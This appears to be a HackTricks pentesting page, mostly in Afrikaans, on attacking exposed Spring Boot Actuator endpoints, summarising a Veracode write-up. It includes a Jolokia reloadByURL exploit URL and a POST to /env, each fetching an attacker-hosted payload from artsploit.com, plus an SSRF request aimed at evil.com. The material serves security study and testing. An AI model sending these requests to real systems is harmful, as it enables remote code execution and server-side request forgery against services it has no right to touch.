Spring Actuators
Reading time: 4 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Spring Auth Bypass
.png)
From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Exploiting Spring Boot Actuators
Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Key Points:
- Spring Boot Actuators registreer eindpunte soos
/health
,/trace
,/beans
,/env
, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs/health
en/info
nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit. - Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, en/heapdump
.- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die
/actuator/
basis pad is.
Exploitation Techniques:
- Remote Code Execution via '/jolokia':
- Die
/jolokia
actuator eindpunt blootstel die Jolokia Biblioteek, wat HTTP-toegang tot MBeans toelaat. - Die
reloadByURL
aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies. - Voorbeeld van 'n uitbuit URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Config Modification via '/env':
- As Spring Cloud Biblioteke teenwoordig is, laat die
/env
eindpunt die aanpassing van omgewings eienskappe toe. - Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL.
- Voorbeeld van 'n uitbuit POST versoek:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Other Useful Settings:
- Eienskappe soos
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, enspring.datasource.tomcat.max-active
kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings.
Additional Information:
- 'n Omvattende lys van standaard actuators kan hier gevind word.
- Die
/env
eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde.
Related Topics:
- Env + H2 RCE:
- Besonderhede oor die uitbuiting van die kombinasie van
/env
eindpunt en H2 databasis kan hier gevind word.
- SSRF on Spring Boot Through Incorrect Pathname Interpretation:
- Die hantering van matriksparameters (
;
) in HTTP padname deur die Spring raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF). - Voorbeeld van 'n uitbuit versoek:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.